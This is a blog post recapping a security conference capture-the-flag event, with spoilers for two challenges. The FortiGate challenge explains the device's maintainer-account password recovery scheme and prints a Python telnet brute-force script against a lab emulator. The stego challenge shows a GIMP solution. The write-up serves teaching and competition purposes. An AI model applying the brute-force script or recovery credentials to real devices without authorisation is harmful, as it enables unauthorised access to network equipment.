We welcomed close to 60 participants, and feedback was extremely positive. We congratulate the top 2 winners, with very close scores, teams YouMayNotWannaCry and ACSN.
Our CTF had two specifications:
While it included challenges on Fortinet products it was not limited to them - this was not a sales session but a technical one! For instance, while we had challenges on FortiSandbox, FortiCam, and FortiGate, we also had some other "hardware" challenges, such as one on Bluetooth.
It had to have both very simple challenges and very difficult ones. Indeed, we intentionally wanted all teams to have a chance to flag something: it's so frustating not to find anything. I know the feeling because I have had the same experience myself in some CTFs. And at the same time, we wanted to be sure the best teams would have something difficult to work on. For instance, there's a Crypto challenge nobody has defeated yet ;)
Before we go on with spoilers for some of the challenges, I would like to thank people who helped setup this CTF: Alain Forcioli, Gavin Chow, Filippo Cassini, Tony Loi, Ruchna Nigam, Francois Ropert and, last but not least, our on-site network and wifi team and marketing.
If you are an experienced CTF player, the spoilers below concern relatively simple challenges. We haven't decided what we'll do with some of the most difficult challenges: spoil them, make them publicly available, or keep unsolved ones for future CTFs :D
Behind the scenes
We were quite lucky to encounter only few issues.
While searching on our Bluetooth challenge, a team (accidentally?) paired with the local monitors and removed the display of the scoreboards, but that wasn't difficult to reset.
A team performed Bluetooth pairing with a monitor
Some teams tried to attack the scoreboard, for instance with SQL injections, but none succeeded ;)
SQL injection attempt on our scoreboard
Reset the FortiGate (spoiler)
In this challenge, participants were given the following instructions:
We've received this FortiGate unit. Unfortunately, we have no idea what the admin password is - it's not the default one. So, we need to reset it. We've attached a Console cable to the unit and configured the connection: - Speed: 9600 baud - Data bits: 8 bit - Parity: None - Stop Bits: 1 - Flow Control: No Hardware Flow Control - Com Port : COM1 It's working and you can access the console via telnet to IP-ADDRESS port 9000. Unfortunately, I can't read the serial number of the device. I know it starts with 4613, I can't read any further, sorry.
First of all, we were extremely happy that many participants thought they were working with a real FortiGate unit, when they were actually landing on a small emulator running inside a Docker container.
When they'd connect to the given IP address, they'd see a console which looks like what we'd normally get on a real FortiGate.
From the banner, the participants would learn this was a FortiGate 60D unit. Then, they'd be expected to search on the net for how to recover lost passwords. They would learn that the account to use is
maintainer and that the password is
bcpb followed by the serial number.
Since the banner states this is a FortiGate 60D, the first 6 letters of the serial number would be
FGT60D. Then, the indications tell us we have
4613, so that normally there are only 6 digits left to brute force.
Ruchna's Python code below solves the challenge in 22 hours on a standard host (the emulator is slow on purpose). As the participants had 28 hours for the CTF, they normally had the time to find the solution. The idea here was to force participants to write a simple brute force script.
#!/usr/bin/python from telnetlib import Telnet HOST = "10.210.30.4" PORT = 9000 USER = "maintainer" PASSWORD = "bcpbFGT60D4613" pwd_counter = 999999 while pwd_counter>=0: tn = Telnet(HOST, PORT) tn.set_debuglevel(5) try: tn.write(b"\n") tn.read_until(b"login: ") tn.write(USER.encode('ascii') + b"\n") tn.read_until(b"Password: ") tn.write((PASSWORD + str("%06d" %pwd_counter)).encode('ascii') + b"\n") while "Invalid" in tn.read_until(b"login: "): pwd_counter-=1 tn.write(USER.encode('ascii') + b"\n") tn.read_until(b"Password: ") tn.write((PASSWORD + str("%06d" %pwd_counter)).encode('ascii') + b"\n") else: print "%s didn't return Invalid" %(PASSWORD + str("%06d" %pwd_counter)) quit() # found in 22 hours and 48 minutes except EOFError: pass
Jewels in my sandbox (spoiler)
In this challenge, participants were given this indication:
There's a new Fortinet product. Do you know about it?
and the image below:
This was a simple steganography challenge, where some whites were not fully white (
#fffffe). One way to solve the challenge was to load the image with Gimp, use "Select By Color" but specify Threshold to 1 (so that even a minor difference is noticed.) Then color the selected part in black, you'll see the 'white' with the flag appear.
Challenge solution (spoiler)
-- the Crypto Girl